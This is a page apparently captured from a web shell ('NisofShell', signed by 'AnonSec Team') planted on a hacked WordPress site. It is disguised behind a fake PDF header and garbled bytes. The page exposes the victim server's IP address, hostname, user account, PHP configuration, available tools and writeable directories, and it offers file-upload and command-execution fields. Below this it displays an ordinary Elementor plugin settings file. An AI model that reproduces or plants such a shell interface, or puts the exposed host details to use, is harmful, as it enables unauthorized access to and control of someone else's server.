%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Nisof Was Here
NisofShell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.162
Web Server : Apache
System : Linux webm002.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : wellingtpa ( 97533)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wellingtpa/www/wp-content/plugins/elementor/modules/wp-rest/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/wellingtpa/www/wp-content/plugins/elementor/modules/wp-rest/classes/elementor-settings.php
<?php

namespace Elementor\Modules\WpRest\Classes;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

class Elementor_Settings {

	public function register(): void {
		register_rest_route('elementor/v1', '/settings/(?P<key>[\w_-]+)', [
			[
				'methods' => \WP_REST_Server::READABLE,
				'permission_callback' => function (): bool {
					return current_user_can( 'manage_options' );
				},
				'sanitize_callback' => function ( string $param ): string {
					return esc_attr( $param );
				},
				'validate_callback' => function ( \WP_REST_Request $request ): bool {
					$params = $request->get_params();

					return 0 === strpos( $params['key'], 'elementor' );
				},
				'callback' => function ( $request ): \WP_REST_Response {
					try {
						$key = $request->get_param( 'key' );
						$current_value = get_option( $key );

						return new \WP_REST_Response([
							'success' => true,
							// Nest in order to allow extending the response with more details.
							'data' => [
								'value' => $current_value,
							],
						], 200);
					} catch ( \Exception $e ) {
						return new \WP_REST_Response([
							'success' => false,
							'data' => [
								'message' => $e->getMessage(),
							],
						], 500);
					}
				},
			],
		]);

		register_rest_route('elementor/v1', '/settings/(?P<key>[\w_-]+)', [
			[
				'methods' => \WP_REST_Server::EDITABLE,
				'permission_callback' => function (): bool {
					return current_user_can( 'manage_options' );
				},
				'sanitize_callback' => function ( string $param ): string {
					return esc_attr( $param );
				},
				'validate_callback' => function ( \WP_REST_Request $request ): bool {
					$params = $request->get_params();
					return 0 === strpos( $params['key'], 'elementor' ) && isset( $params['value'] );
				},
				'callback' => function ( \WP_REST_Request $request ): \WP_REST_Response {
					$key = $request->get_param( 'key' );
					$new_value = $request->get_param( 'value' );
					$current_value = get_option( $key );

					if ( $new_value === $current_value ) {
						return new \WP_REST_Response([
							'success' => true,
						], 200);
					}

					$success = update_option( $key, $new_value );
					if ( $success ) {
						return new \WP_REST_Response([
							'success' => true,
							'data' => [
								'message' => 'Setting updated successfully.',
							],
						], 200);
					} else {
						return new \WP_REST_Response([
							'success' => false,
							'data' => [
								'message' => 'Failed to update setting.',
							],
						], 500);
					}
				},
			],
		]);
	}
}

Anon7 - 2022
AnonSec Team